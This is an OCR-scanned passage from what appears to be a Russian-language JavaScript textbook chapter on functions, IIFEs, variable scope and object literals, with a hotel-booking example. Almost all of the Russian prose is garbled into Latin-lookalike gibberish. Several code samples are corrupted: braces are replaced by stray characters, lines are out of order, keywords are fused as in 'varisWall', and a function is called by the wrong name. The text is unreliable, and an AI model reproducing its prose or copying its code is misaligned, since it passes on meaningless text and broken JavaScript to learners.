var wallOne = calculateArea(3, 5);

var wallTwo = calculateArea(8, 5);

ObpaTnTe BHMMaHUE: KOrZa UCMO/Ib3yeTCs K/I0YEBOE C/I0BO return, UHTEprpeTaTop NoknaaeT
byHKLMIO M BO3BpaLLaeTcs K TOM MHCTPYKLMU, B KOTOPOM OHa 6bina Bbi3aBaHa. Ecnv B MokuHyTOM
bYHKLMUM ECTb eLLe KaKMe-TO UHCTPYKLUUN, OHM OCTAHYTCS HEBbIMO/THEHHbBIMU.

MepemeHHas wallOne co- MepemeHHas wallTwo coaep- Ha gaHHOM npumepe mbl
AEep>XUT 3HauyeHue 15, Bbl- XXUT 3HaYeHue 40, BbIYNCAS- Tak>e BUAMM, KaK oAHa
yucnsemoe pyHkumen emMoe y>xe yNoMMHaBLUencs 1 Ta xe GYyHKLMS MOXET
calculateArea(). $yHkuMen calculateArea(). NPUMEHATLCS ANS Bbl-

NoJIHEHUS OANHAKOBbIX
onepawymm, HO C pasHbIMU
3HaYEeHUsIMMU.

@ ®YHKUWNN, METOObI, OB bEKTbI



NMOJIYHEHWNE
C NMoOMOoLWbO ®YHKLUWNI
HECKOJIbKMX 3HAYEHNM

DyHKLUMA MOXKET BO3BpaLLaTb HE OAHO 3HAaYeHUe, a He-
CKOJIbKO. [1/19 3TOro npumeHdaeTcs maccme. Hanpumep,
cnegyouwas GyHKLUUA BbIYUCASET Nowaab CTOPOHbI

n o6bem napannenenuneaa.

CHayana coszaeTcs HO- O6bem BblUNCASETCS U CO- Maccus Bo3BpallaeTcs
Basi PYHKLUS C UMEHEM XpaHsieTcs B NepeMeHHOoN Koy, Bbi3BaBLUeMY PYHK-
getSize(). Mnowaab nps- volume. 3aTem 0ba 3Tux Luto getSize(). Tak obecne-
MOYTOJIbH/Ka BbIYUCAAETCS 3HaYeHUsi momeLalTCs YMBaETCS NCMOJIb30BaHNE
M coxpaHseTcs B nepemeH- B MacCuB sizes. 3HaYyeHun.

HOW area.

function getSize(width, height, depth) {
var area = width * height;
var volume = width * height * depth;
var sizes = [area, volume];
return sizes;

}

var areaOne = getSize(3, 2, 3)[0];

var volumeOne = getSize(3, 2, 3)[1];

B nepemeHHO areaOne MepemeHHas volumeOne
coaepXXuTcs niowiasb coAepXnUT 06bem napan-
NPSAMOYro/IbHOrO MO/ CO nenenuvnejga, KOTOpbIn
CTOpoHamu 3 X 2. 3Ta nJjo- BblYUCNSAETCHA KaK 3 X 2 x 3,
wazab AB/ISSETCA NEPBbIM O6bem — 3TO BTOpOE 3Ha-
3HayeHneM B MaccuBe sizes. YyeHue B Maccuee sizes.

®YHKUWNNU, METOAbI, OB bEKTbI



AHOHVIMHBIE OYHKUNI
N OYHKUWN-BbIPAXXEHWA

Pe3ynbTaTOM BblpaXKeHnsa sBnseTcsa 3HadyeHne. CooT-
BETCTBEHHO, €C/1M Ha BbIXO/€e Kakomn-1mbo onepaumm
0XMAAETCA NO/TYYNTb 3HAYEHME, B HEN MOXHO UCMO/Tb-
30BaTb BblpaxkeHue. Ecnn GyHKUMSA HaXxoaUTCa Tam, rae
bpay3ep oXxunaaeT BCTPETUTb BbipaxkeHne (Hanpumep,
Kak aprymeHT GYHKLWK), TO OHA MHTEPNpeTUpyeTCs Kak

Bblpa>eHue.

OBbABJIEHNE OYHKL NN

Mpw 06baB1eHUM cO3aaeTCA GYHKLUNSA, KO-
TOPY0 3aTEM MOXHO UCMOIb30BaTb B KOJE.
NMEHHO C TakKuMm GYHKLMAMM Mbl 40 CUX NOP
BCTPEYasIMCb Ha CTpaHMLUax KHUMK.

YT06bl B KaKoM-11M60 NocneaytoLlen YacTm
BalLero Koga MOXHo 6bi/10 BbI3BaTb 3Ty
dyHKUMIO, e HEOBXOANMO AaTb UMK, Takne
GYHKUNM HA3bIBAOTCA MUMEHOBAHHbIMM. Huxe
onpeaensetca dbyHKUns area(), Bbi3biBaemas
no UMeHMU.

OYHKUNA-BbIPAXEHWE

Ecnv nocTaBuTb GYHKUMIO TaM, FAe MHTep-
npeTaTop OXunaaeT BCTPETUTb BbipaxeHue,
TO OHa TpakTyeTCsi B 3TOM KayecTBe U Ha-
3bIBaeTCA pyHKUMeri-BbipaxeHnem. B Takmx
PYHKLUMAX UMS 0ObIYHO OMycKkaeTcs, MOTOMY
OHW HA3bIBAKOTCH aHOHMMHbIMU. HXKe noka-
3aHa PyHKLMA, COXpaHEHHas B NepeMeHHowm
area. Ee MOXHO BbI3BaTb Kak /1lobyt0 Apyryto,
CO3/laHHY0 NPU MOMOLLM 06BSIBAEHUS.

function area(width, height) {
return width * height;

5

var size = area(3, 4);

var area = function(width, height) {
return width * height;
b

var size = area(3, 4);

Kak 6ygeT nokasaHo Ha c. 462, uHTepnpe-
TaTop BCerfa NpocMaTpuBaeT NepeMeHHble
n obbABNEHNA GYHKUMIA 4O TOTO, Kak npu-
CTynaTb K MO3TAaNMHOMY BbIMO/IHEHMIO LLATOB
cueHapua. Takum obpasom, dyHKLMS, CO3-
JaBaemas Nnpu NoMoLM 06 baBAEHNSA, MOXET
ObITb Bbl3BaHa eLle 40 CBOero obbasneHuns.

Ha c. 458-463 mbl nogpobHee NOroBopuMm

0 TOM, Kak HaunHaeTcsi obpaboTka nepemeH-
HbIX 1 GYHKLUWI. Ha 3TUX CTpaHULax peyb
nonAeT 0 KOHTEKCTE BbIMO/IHEHUS U O NOA-
HATUWN NepeMeHHON.

@ OYHKLUWNN, METOObI, OBBEKTbI

DyHKUMS-BbIpaXeHue He 0bpabaTbiBaeTcs
[l0 Tex NMop, Noka MHTeprnpeTaTop He gonaeT
[10 MHCTPYKL MK, B KOTOPOW OHA COAEPXKMUT-
csi. CnefoBaTe/IbHO, HEJTb3S BbI3BATb Takyto
dyHKUMIO Npex e, Hem nHTeprnpeTaTop ee
06HapyXuT. Kpome TOro, 3To 03HavaeT, 4To
Nt0601 KoA, BbIMONHABLUNACS A0 GYHKUNM-
BbIpaXKeHWs, NOTEHLNANbHO MOXET USMEHUTb
OCyLLIeCTBAAEMbIE B HEW OnepaLnmm.




OYHKUNN-BbIPAXEHWA,
Bbl3bIBAEMbBIE CPA3Y
[MOCJIE CO3OAHUNA

Takom crnocob HanncaHusa GYHKLUUN MPUMEHSETCS B HE-
CKOJIbKMX Pa3/INYHbIX CUTYyaUnax. HYacTo GyHKLUUK Npn-
MEHSIIOTCA A1 TOrO, YTOObI MCKOUYNTb KOHDNMKTb
MeXY UMeHaMK nepemMeHHbIX (B 0COOEHHOCTU ec/in Ha
CTpaHuLe paboTaeT He OANH CLIEHapWI, @ HECKOJ1bKO).

HEMEOJIEHHO BbI3bIBAEMbIE
OYHKUNN-BBIPAXKEHUSA (IIFE)

Takve GYyHKLUN 0ObIYHO HE MOTYyYaloT UMEHM,
M MHTEpNpeTaTop BbINOJHSAET UX TONbKO TOraa,
Korga obHapy>vBaeT B Koe.

MokasaHHas HMXe NepemeHHas area byaeT co-
JepXaTb 3HayeHne, BO3BPaLLEHHOE OT DyHK-
umn (a He XpaHWTb caMy PYHKLMIO 4718 noce-
AYIOLLEro Bbi30Ba).

var area = function() {
var width = 3;
var height = 2;
return width * height;

};

KoHeuHble ckobku (benbie Ha 3eneHOM OoHE)
nocne 3akpbliBatoLien GuUrypHom ckobkmn gatot
KOMaHZAY MHTeprnpeTaTopy HEMeA TEHHO Bbl-
3BaTb GyHKLUMIO.

Onepauuu rpynnupoBaHus (6enbie ckobkmn
Ha KpacHOM OHE) rapaHTUPYIOT, YTO UHTEpP-
npeTtatop 6yAeT TpakToOBaTb 3TOT KOZ Kak
BbipaxeHue.

B HekoTOpbIX C/ydasax KoHe4YHble ckobku B IIFE
CTaBATCS 110C/1e 3aKpblBatoLLen onepaymm
rpynnnpoBKM, HO 06bIYHO pEKOMEHyeTCs
CTaBUTb UX JO Hee, Kak NOKa3aHOo B BbiLLlenpu-
BeJleHHOM KoZJe.

KOIdA NCMNOJIb3YIKOTCH
AHOHUMHbIE OYHKUWNW W IIFE

B aTOM KHUre ByfeT pacCMOTPEHO MHOXECTBO
NpUMepPOB, B KOTOPbIX NCMO/b3YIOTCS aHOHUM-
Hble PyHKLMOHaNbHbIe BbipaxeHus v |IFE.

OHn npUMeHAKTCAa ANnd pa6OTbI C KOAOM, KO-
TOprIZ AOJIXEH BbIMO/IHATLCA B paMKax 3agaun
BCero oguH pas, a He MHOIToOKpaTHO BbI3blBaTb-
Csl B pa3HbIx YacTax cueHapus. Hanpumep:

® BKayecTBe aprymeHTa npu Bbi3oBe
GyHKUMY (ANA BBIYNCNEHNA 3HAYEHNSA 3TON
GYHKLMM);

® ANnanpucBamBaHUa 06BEKTY 3HAYEHUS
CBOWCTBAa;

® BO06paboTymKax cobbITUA N CAyLLATENSAX
(cMm. rnaBy 6) ANs BbINOSHEHUA 3ajauun,
CBSI3aHHOW C Npom3oLWe LM cobbiTvem;

® /15 UCK/IIOYEHUS KOHDIMKTOB MeX Ay
ABYMS CLLEHApUSIMU, B KOTOPbIX MOTY T
MNCMNoNb30BaTbCS OAHOMMEHHbIE
nepemerHsie (cm. c. 105)

DYHKUUN-BbIPAXEHWS, BbI3biIBaeMble Cpasy
nocse Co3ZaHus, 3a4acTyio UCNOb3YyOTCS

B KayecTBe 06epTKM BOKPYr OnpesaeneHHoro
Koza. Jltobble nepemeHHble, 00BbABASEMbIE BHY-
TpW Takon aHOHUMHOM GYHKUNK, dakTuyeckm
0Ka3blBaOTCHA 3aLUMLLEHBI OT MEPEMEHHbIX U3
APYrUX cLieHapmes, KOTOpble MOTYT UMETb Te
e umeHa. Bce feno B KoHLEeNLMM, MU3BECTHOM
Kak 061acTb BUAMMOCTM, — O HEW Mbl MTOAP06-
HO MOrOBOPUM Ha C/iefytoLle cTpaHuue. Takas
TexHWKa OYeHb nonynispHa u npu pabote c 6ub-
nnoTekon jQuery.

TAbbpeBunaTtypa pacumndpossiBaeTcs kak Immediately Invoked Function Expressions. — lpumeu. pey.

OYHKLUWNN, METOObI, OBBEKTbI



OBJIACTb BUOAMMOCTWU
[MEPEMEHHOW

Ob6nacTb KoZa, B KOTOPOW Bbl CMOXETE MCMO/Ib30BaTh Ne-
pPEMEHHYI0, 3aBNUCUT OT TOTO, FAe MMEHHO Bbl 00bABAAETE
ee. Ecnv nepemeHHasa obbaBieHa BHYTpU GYHKLMN, TO

N NCMONb30BATbCSA OHA TOXe A0JIXKHA NMLLb BHYTPU 3TON
PyHKLUMU. B JaHHOM cyYyae MpUHATO roBOpUTb 006 0b6/1a-

CTU BUANMOCTU nepel\/\eHHoM.

JTIOKAJIbHbIE MEPEMEHHbIE

Ecnv nepemeHHas 06bsiBNEHa BHY Tpu GYHK-
LMK NPy MOMOLLM KJT0YEBOro C/10Ba var, TO

OHa MOXET MPUMEHSTbCS TO/IbKO BHYTPU 3TON
dyHKLMKM. Takas nepeMeHHas HasbiBaeTCs
J10KasibHOV, UV NEPEMEHHON Ha ypOoBHE PyHK-
Luun. TIPUHATO rOBOPUTL, YTO OHa obiagaeT
loKanbHOM 061acTblo BUANMOCTH, UK 0b1a-
CTbI0 BUAUMOCTH B ripegesax ¢pyHkuymm. K Ta-
KOV mepemMeHHOM Henb3s 06paTUTbCs U3 KoAa,
pacnosioXeHHOro BHe TON dyHKLMU, B KOTOPOW
OHa bbifla 06bsABAEHA. B HUXeNpBEAEHHOM
npumepe area — 3TO JIOKasIbHasA NepemMeHHas.

WNHTepnpeTaTop co34aeT nokasbHblie nepe-
MEHHbIe NPU BbINOSHEHUM GYHKUMN N yaanaeT
MX Cpasy Xe nocsae Toro, kak GyHKLUMA peLmnT
cBoto 3agauy. CnegoBaTesibHO:

® ec/n GYHKUMS BbINOHAETCS 4BaX b,
TO MpU KaxJ0M ee MporoHe nepemMmeHHas
MOXET MMETb PasHble 3HaYeHNs;

® /Be pasHble PyHKLMM CNOCOOHbI

MCcnob3oBaTb OAHOMMEHHbDbIE MEepeMeEHHble,
Npn 3TOM HE BO3HUKaeT KOHCbI'IVIKTa NMEH.

rNMOBAJIbHBIE MEPEMEHHbIE

Ecnv nepemeHHas cosgaetcs BHe GyHKUNN, TO
Bbl MOXeTe UCMO0/Ib30BaTb ee B 11060 YyacTun
cueHapus. B Takom cnyyae oHa HasbiBaeTCcs
r/106a/71bHOV NEPEMEHHON U UMeET r/106a/1bHY0
061aCTb BUAUMOCTH. B NpUBEEHHOM HUXe
npumepe wallSize — rnobanbHas nepemMeHHas.

Takune nepemMeHHble COXPaHSATCA B NamaTn

Ha MPOTSAXEHWM BCEFO BpPEMEHMU, MOoKa Be6-
CTpaHuua 3arpyxeHa B bpaysepe. Takum
06pasom, rnobasibHblie MeEpeMeHHbIE 3aHUMatOT
6oblUe NaMaTK, YeM SIOKasIbHbIE; KPOME TOTO,
npu paboTe C HUMM MOBbILLIAETCH PUCK BO3-
HUKHOBeHUS KoHbAnKTa meH (NnoapobHee

06 3TOM — Ha c/iefytollen cTpaHuue). Mtak,
pEeKOMEHAYETCA MaKCMMaibHO aKTUBHO MOJb-
30BaTbCSA MMEHHO /I0KaIbHbIMU MepPEMEHHbIMU.

Ecnv Bbl 3abysieTe 06BABUTL MEPEMEHHYIO MpU
NMOMOLLM K/TOYEBOTO C/I0Ba var, TO OHa BCE paB-
Ho byseT paboTaTb, 04HAKO CTaHET cyMTaTbCA
rnobasbHou (Tak genaTb HE peKOMeHAYyeTCs).

var area = width * height;
return area;

}

document.write(wallSize);

function getArea(width, height) {

var wallSize = getArea(3, 2);

' NOKANbHAA OBJIACTb BUAMMOCTU (HA YPOBHE ®YHKLUUNWN)

. FMOBAJIbHAA OBJTIACTb BUOMMOCTU

@ OYHKLUWNN, METOObI, OBBEKTbI



KAK PABOTAIOT NMAMATD
N MEPEMEHHDIE

[nobanbHble NepemMeHHble MoTpebAsAT 601blLe NAMSATU.
Bpay3epy TpebyeTcs 3anOMUHATb NX HAa BCE TO BpeMS,
MoKa B HEro 3arpy>eHa CTpaHuLa C 3TUMK NepeMeHHbI-
MW. JIoKanbHble NepeMeHHble 3aNOMUHAKTCA /INLLb Ha
TOT NMepuoj BpeMEHM, MoKa BbIMOHAETCA GYHKLNS.

CO30AHWVE NEPEMEHHON
B OBJTACTU BNWOAMMOCTU

Kaxgaas obbasisemas Bamu nepemeHHas 3a-
HVMMaeT onpeaesieHHbIn 06beM B namaTu. Yem
60/bLLE NEPEMEHHbIX MPUXOAUTCSA 3aNOMUHATL
6paysepy, Tem b6onblle NamaTu TpebyeTcs Ha
BbIMO/IHEHMWE BalLero cueHapus. CueHapuu,
noTpebasioume 0cobeHHO MHOro NamaTy,
MoryT paboTaTb MeAneHHoO. M3-3a 3Toro cama
Beb-CcTpaHWLa pearmpyeT Ha 4eNCTBUS MOJb30-
BaTe/NA C 3a4epXKamu.

KOHOJIMKTbl MMEHOBAHWA

Mo>HO noAayMaThb, YTO KOHPNKTOB MMEHOBA-
HUA CPaBHUTENBHO NPOCTO N3bexaTb. B KOH-
Lie KOHLL0B, Bb/Xe 3HaeTe BCe NepeMeHHble,
KOTOpble ucnonblyeTe B JaHHOM Koge. Ho Ha
MHOIMX CanTax MPUMEHSIOTCS CLeHapun oT
HecKonbKnx paspaboTymnkos. Ecnm Ha HTML-
CcTpaHuue ncnonbsytoTcs asa danna JavaScript,
1 B OGOUX eCTb OAHOUMEHHbIE FrnobanbHble
nepeMeHHble, TO MOTYT BO3HMKaTb OLLMOKMN.
JonycTum, Ha CTpaHULe NCNONb3YIOTCA ABa
cueHapus:

var width = 15;

var height = 30;
varisWall = true;
var canPaint = true;

dakTnyeckmn nepemMeHHasa CCbl1aeTCd Ha
3Ha4YeHne, XxpaHMMoe B NaMAaTn. OfHO 1 TO Xe
3Ha4YeHne MOXeT NCMNO/1b30BaTbCA C HECKO/1b-
KUMU nepeMeHHbIMN.

var width = 15;, —> @

var height =30, —— @

varisWall = true; ———>
var canPaint = true; ——>

// OToGpaxaem pasmep CTPOMNIOWaaKu
function showPlotSize(){

var width = 3;

var height = 2;

return 'Mnowape: " + (width * height);
}

var msg = showArea()

// OTo6paxaem pa3mep caga
function showGardenSize() {
var width = 12;
var height = 25;
return width * height;
}

var msg = showGardenSize();

3/4eCb 3HaYEHUS LUMPUHbI U BbICOTbI CTEHbI
(width v height) XxpaHaTCa oTAENbHO, B TO

BpeMs Kak ¢ nepemMeHHbIMM isWall 1 canPaint
NCNONb3yeTCsa OA4HO M TO Xe 3HayeHune true.

® nepemeHHble B rnobanbHon obnactum
BUAVMOCTW: BO3HWUKAIOT KOHGANKTbI
MMEHOBaHUS;

® nepemeHHble, BUAMMbIE Ha YPOBHE PyHK-
LN KOHGANKTA UMEH He BO3HUKAET.

OYHKLUWNN, METOObI, OBBEKTbI



UTO TAKOE OBBbEKT

ObbekT 0bbeanHAET B cebe Habop NnepeMeHHbIX U YHKLNN,

co3/l1aBasi y3HaBaeMyto MoZe b TOro UK MHOTro deHoOMeHa 13

peanbHOro Mmpa. B o6bekTe nepemeHHble U GYHKLNM Ha3biBa-

I0TCS y>Xe No-Apyromy.

B OBBbEKTE MNMEPEMEHHbIE
HA3bIBAIOTCH CBOVNCTBAMU

Ecnm nepemeHHaa HaxoaAnTCs B 06beKTe, TO
OHa HasbiBaeTcs ceovicTBomM. CBONCTBA ONu-
CblBaloOT AeTanmnm obbekTa — Hanpumep, Ha-
3BaHWe 0TenNsa 1 KOJIMYEeCTBO HOMEPOB B HEM.
Y KaXz0oro otensi CBoe Ha3BaHue, KOIMYECTBO
HOMEPOB B PasHbIX TOCTUHMLAX TakXe 0bbly-
HO OT/INYaeTCs.

@ DOYHKUNWN, METOAbl, OBBEKTbI

B OBBbEKTE ®OYHKLMN
HA3bIBAIOTCA METOOAMN

Ecnn dyHKums HaxoamTcs B 06bekTe, TO

OHa HasblBaeTcs mMeTogom. MeToabl npes-
cTaBnstoT coboit 3aaun, accounmnpoBaHHbie
c 06BbeKTOM. Hanpumep, MOXHO NPOBEPUTb,
CKOMbKO CBOBOAHBIX HOMEpPOB B oTese. Ana
3TOr0 HY>KHO BblYECTb KOJIMYECTBO 3aOpOHU-
pOBaHHbIX HOMEPOB 13 06LLlero KoaMyecTsa
TaKOBbIX.



OObekT — 3TO MoAe b OTeNs. Y HEro oAnH MeToz
n Natb cBoncTB. Kog 06bekTa 3ak1to4eH B GUTYPHbIX
ckobkax. ObbekT coxpaHeH B NnepeMeHHoM hotel.

CsoncTBa 1 meTobl, Nog406HO
nepemMeHHbIM M UMEHOBaH-
HbIM PYyHKUMSAM, obnaja-

0T UIMEHEM U 3HAYEHUEM.

B 06bekTe Takoe MMs Ha3blBa-
eTCa K/IH0YOM.

var hotel = {

: checkAvailability: function() {
return this.rooms - this.booked;

Bbllwe nokasaH 06bekT hotel. OH coaepXxuT
cneaytoLyme napbl «KAOY/3HaYEHNEN:

CBOMNCTBA:KJIOY 3HAYEHUE
name CTtpoka
rooms Yuncno
booked Yuncno
gym Jlornyeckoe

3HavyeHue
roomTypes Maccus

METOA: checkAvailability DyHKUMSA

Ha Heckonbkunx cneayowmx ctpaHmuax byaet
NpOAEMOHCTPUPOBAHO, YTO 3TO — /ILLb OAUH
13 BO3MOXHbIX CNOCO60B CO34aHna 06bekTa.

B 06bekTe HE MOXET 6bITb
ABYX OAHOMMEHHbIX K10~
yen. 1eno B TOM, YTO K/touun
MNCMNOMb3YTCA ANA 4oCcTyna

K 3HAaYEHNAM, KOTOPble C HUMU
accouMmpoBaHbl.

3HavyeHneM CBOMCTBA MOXeT
6bITb CTPOKA, YNCO, NIOTU-
Yeckoe 3HayeHune, Maccums

N faxe Apyron o6bekT. 3Ha-
YeHne meToAa — 3TO BCeraa
byHKUMA.

@ «nou
@ 3HAYEHME

— CBOWCTBA
OT0 NepemMeHHble

— METO[
3T0 dyHKUUSA

npOI’paMMVICTbI LUMPOKO MCNMOIb3YHOT Napbl
«UMSsI/3HadYeHmex:

* B HTML npMMeHAoTCA UMeHa 1 3Ha4YeHuns
aTpubyTOB;

* B CSS MpMMeHS0TCA UMeHa N 3HaYeHuns
CBOWCTB.

B a3bike JavaScript:

* NepemMeHHble o6na,qa+0'r MMEHaAMWN, UM
MO>XHO npuceBanBaTb CTPOKOBbIE, YACNO-
Bble N NOrMYecKne 3HauveHn4d,

* Maccue 0b6aZaeT UMEHEM U COAEPXUT
rpynny 3HaYeHUNn; Kaxx bl 31eMeHT
MaccuBa — 3TO Mapa «MMsl/3HadyeHuney,
NMOCKOJIbKY Y 3/1eMEHTa eCTb MHAEKC
1 3HaYeHue;

* UMeHOBaHHble yHKLMK 0bnagatoT ume-
HEM 1 3HaYeHneM, MpUYEM X 3HaYeHne —
3TO Habop MHCTPYKLMIA, KOTOPbIE AOMXKHbI
6bITb BbINOJIHEHbI B C/TlyYae BbI30Ba Takon
byHKUMN.

O6DBeKTbl COCTOSAT M3 MHOXECTBA Nap «ums/
3HaveHuey (B c/lyyae c 06beKTaMu MMeHa Ha-
3bIBAOTCA KJIOYAMMN).

OYHKLUWNN, METOObI, OBBbEKTbI



CO30AHVE OBbEKTA:
JINTEPAJTIBHAA HOTALNA

JluTepanbHaa HOTauMa — 3TO NPOCTENLLMIA U Hanbonee
nonynsapHbIn cnocob cosgaHmna ob6bekToB. BoobLye Takux

cnocoboB HECKO/1bKO.

O6bEeKT COCTOUT U3 GUFYPHbIX CKOBOK 1 3a-
KJIIOYEHHOTO B HUX KOHTEHTa. O6beKT XpaHUT-
csi B nepeMeHHo hotel, nosTomMy Mbl Byaem
ccblNlaTbCs Ha HEro Kak Ha 06beKT hotel.

var hotel = {

écheckAvailabih'ty: function() {
: return this.rooms - this.booked;

B meToze checkAvailability() kntouesoe cnoso
this npymeHaeTca Ana yKasaHWa TOro, 4To me-
TOA MCMNOJIb3yeT CBOMCTBA rooms U booked 3T70ro
obbekTa.

@ ®YHKUWNN, METOObI, OB bEKTbI

MeX Ay K/l04OM M 3HaYEHUEM B KayecTBe
pasfennTeNbHOro 3Haka CTaBUTCA BOETOUME.
Mexay cBOMCTBaMM U METOAAMM CTaBATCA 3a-
naTble (HO 32 NOC/NIEAHUM 3HAaYEHNEM 3aNATas
He cTaBuTCA).

@ OBLEKT
@ «nou
@ 3HAYEHME

¢ |~ CBOWMCTBA

! - meTom

Mpu ycTaHOBKE CBOMCTB Mbl paboTaem ¢ ux
3HaYeHUAMM TOYHO TaK Xe, Kak NocTynanau 6bl
C MepeMeHHbIMU: CTPOKW 3aK/1I04aI0TCA B Ka-
BbIYKW, @ MacCUBbI — B KBaApaTHble CKOBKMU.



HNOCTYI K OBbEKTY
N TOYEYHAA HOTALINA

JocTyn K CBONCTBAM UM MeToAaM 0b6bekTa OCyLLEeCcT-
B/IIETCSA MPM NOMOLLKN ToYeuyHoM HoTauun. Kpome Toro,
AOCTYMN K CBOMCTBAM BO3MOXXEH NpU NOMOLLM KBagpaT-
HbIX CKOOOK.

Ansa poctyna kK CBOVICTBy nnn metoay obbekTa Touka B JaHHOM C/ly4yae Ha3biBaeTcs one-

HY>XHO 3anucaTtb M4 061>eKTa, nocsie Hero no- pauven goctynak yneHy. CBoMcTBo meToza
CTaBUTb TOYKY U Aasiee — UMSA TOro cBOMCTBa HaxoAMUTCs Cnpasa, a YieH — cneBa. 34ecb
nnn metToga, K KOTopomy Tpe6yeTcn noy4ynTb CO3/4al0TCs ABe NepeMeHHble: B O4HOM U3 HUX
AocCTyn. Takoi cnocob Ha3biBaeTCsA TOYEYHOMN HaxoAuUTCAa M4 O0TeNl4, a B p,pyr0|7| — Konun4ye-
HOoTauuen. CTBO CBO60AHbIX HOMEpPOB.

OBBbEKT WMS CBONCTBA/METOAA

var hotelName = hotel.name;
var roomsFree = hotel.checkAvailability();

OMEPALUA AOCTYNA

Ansa goctyna kK cBoncTBam 06bekToB (HO He Ha aToT pa3 3a umeHem obbekTa cnengywT
K ero MeTOﬂ,aM) Tak>Xe NpuMeHdaeTCcqa CUHTakK- KBagpaTHble CKO6KVI, B KOTOPbIX 3anncbiBaeTCca
CUC C KBagpaTHbIMU ckobkamu. MMS CBONCTBA.

var hotelName = hotel['name'];

Yalle BCEro Takas HOTaLMs MCNOMb3yeTCs B CAeAYIOLMX CyYasnX:

® 1M CBOMCTBA — 3TO YMC/10 (TEXHMYECKM TAaKOE JOMYCKAETCS, HO HE PEKOMEHAYETCA);

® nepemMeHHas UCNONb3yeTCs BMECTO MMEHM CBONCTBa (AaHHaa TexHuKka byaeT NpMMeHsTbCS
B rnase 12).

DYHKUWNN, METOLbI, OB bEKTbI



CO3LAHNE OBBbEKTOB
["MPA MOMOLUN
JINTEPAJIBHOW

HOTALNW

B mepBou yacTtu sToro npu-
Mepa Mbl cCo3aeM 06beKT
npu NOMOLLN IUTEPasbHON
HoTauuu.

O61bekT HasbiBaeTcs hotel

M npeacTaB/sieT oTenb Tyna,
B KOTOpOoM 40 HOMepoB
(npuyem 25 n3 Hnx 3abpo-
HNUPOBaHbI).

Janee Mbl 06HOB/ISIEM KOH-
TEHT CTPaHWULbl AaHHbIMU
13 3TOro ob6bekTa: BbIBOAUM
HasBaHWe 0TeNa U Konye-
CTBO CBOHGOAHbBIX HOMEPOB.
YT10ObI y3HaTh HasBaHue
oTens, Mbl 0bpallaemcs

K CBOMCTBY name, a Kosinye-
CTBO CBOBOAHbLIX HOMEPOB
nosly4aem npuv nomoLm
meTo/a checkAvailability().

Jns gocTyna Kk CBONCTBY
3TOro 06bekTa Noc/e ero
NMEHU CTaBMUTCSA TOYKA, a 33
Hel — MMs CBONCTBA.

AHaNOrN4YHo, YTOObI NC-
Nosib30BaTb METO/, HY>KHO
B35Tb MMS 06beKTa, NMo-
CTaBUTb MOC/E HEFO TOYKY
1 fanee 3anucatb UMs
meTozaa.

hotel.checkAvailability()

Ecnu meToay TpebytoTcs
napameTpsbl, TO UX cneayeT
yKasaTb B ckobkax (Tak xe,
Kak coobujatoTca aprymeH-
Tbl N8 GyHKUUW).

c3/js/object-literal.js

JAVASCRIPT

var hotel = {
name: 'Tyna',
rooms: 40,
booked: 25,
checkAvailability: function() {
return this.rooms - this.booked;
}
5

var elName = document.getElementById('hotelName');
elName.textContent = hotel.name;

var elRooms = document.getElementById('rooms');
elRooms.textContent = hotel.checkAvailability();

PE3YJIbTAT

CBobopHble
Homepa

TYNA

15

HOMepOB CBO6OAHO

@ OYHKLUWUN, METOObI, OBBEKTDbI



CO3OAHNE OPYTUX
OB bEKTHbBIX JINTEPAJIOB

JAVASCRIPT c03/js/object-literal2.js

var hotel = {
name: 'Tnax’',
rooms: 120,
booked: 77,
checkAvailability: function() {
return this.rooms - this.booked;
}
|5

var elName = document.getElementById(‘hotelName');
elName.textContent = hotel.name;

var elRooms = document.getElementById(‘'rooms');
elRooms.textContent = hotel.checkAvailability();

PE3YJIbTAT

CBobogHble
HoMepa

NnAax

43

HoMepa cBO60gHO

34ecb nokasaH gpyrom
06bekT. OH TakXe Ha3blBa-
eTcs hotel, HO Ha 3TOT pa3
MOZ€e/lb COOTBETCTBYET
Apyromy otento. laBanTte
npeanonoXum, 4TO Mbl
NMPOCTO OTKPbI/IN eLe O4HY
CTpaHuLy Ha TypuUCTu4Ye-
CKOM canTe.

OTenb «Mnaxy bonblie
otensa «Tyna». B Hem 120 Ho-
MepOoB, 77 N3 HUX 3ab6POHU-
pOBaHo.

Bo Bcem KoZe Ham noTpe-
H6yeTCsa NPOCTO USMEHUTH
3HauyeHUs CBOMCTB obbekTa
hotel:

®* Ha3BaHWe oTend;

® KO/INYECTBO HOMEPOB
B HEM;

® KO/INYECTBO 3ab6POHN-
pOBaHHbIX HOMEPOB.

Bce ocTtanbHoe paboTaet
TOYHO TakK Xe, Kak 1 B npe-
AblayLiemMm npumepe. Ha-
3BaHWeE OTeNS BbIBOANTCS
Ha CTpaHuLUy Npy NOMOLLN
rotToBoro koga. Metoa
checkAvailability() He name-
HUACS M BbI3bIBAETCS TOYHO
Tak Xe, Kak U paHblLue.

Ecnm 6bl Ha canTe Bbina nH-
dopmaums gaxe o Tbicaye
oTesie, TO HaM BCe PaBHO
notpeboBanoch 6bl U3Me-
HUTb INLLb TP CBOMNCTBA
3T0ro obbekTa. MockonbKy
Mbl CO3Ja/N MOZEeNb OTES
Npu NOMOLLM AaHHbIX, KOZ
MOXET MONYUYNTb AOCTYN

K MHbopmaumm o nrobom
APYroM OTesie N BbIBECTU €€
Ha 3KpaH — Npu TOM yCa0-
BWM, YTO 3TOT 06BEKT-OTENb
CO3/1aH Mo TOW Xe MoAe N,
4YTO M NepPBbIN.

Ecnn 6bl y Hac 6bin10 ABa
Takux 06bekTa Ha 04HOM
CTpaHuLe, TO Mbl CO34aBaun
6bl 062 06bekTa Npu no-
MOLLM OAMHAKOBOW HOTa-
LMK, HO COXPaHAIN Bbl NX

B MePEMEHHbIX C Pa3HbIMU
UMeHamu.

OYHKLUWNN, METOObI, OBBEKTbI @



CO3O0AHVE OBbEKTA:
HOTAUVA KOHCTPYKTOPA

KntoueBoe C/10BO new M KOHCTPYKTOP 06beKTa co3gatoT
NnycTon o6beKT. 3aTeM K HEMY A,06aBAAOTCA MeTOoAbl

M CBOUCTBA.

CHayana cospaeTcs HOBbIN 06BEKT: 3TO Ae-
NlaeTcs NPy NOMOLLM K/IOYEeBOro C/10Ba new

1 GYHKLMU-KOHCTpYKTOpa Object() — oHa BXo-
AWT B coCTaB a3blka JavaScript n npumeHseTcs
ANS cO34aHNS 06BEKTOB.

var hotel = new Object();

hotel.checkAvailability = function() {

return this.rooms - this.booked;

Tako CUHTAKCUC MOXHO MCMOb30BaTb AN
A06aBNeHNs CBOMCTB M METOAOB K t06omMy
co3gaHHOMY Bamu 06bekTy (HE3aBUCUMO OT
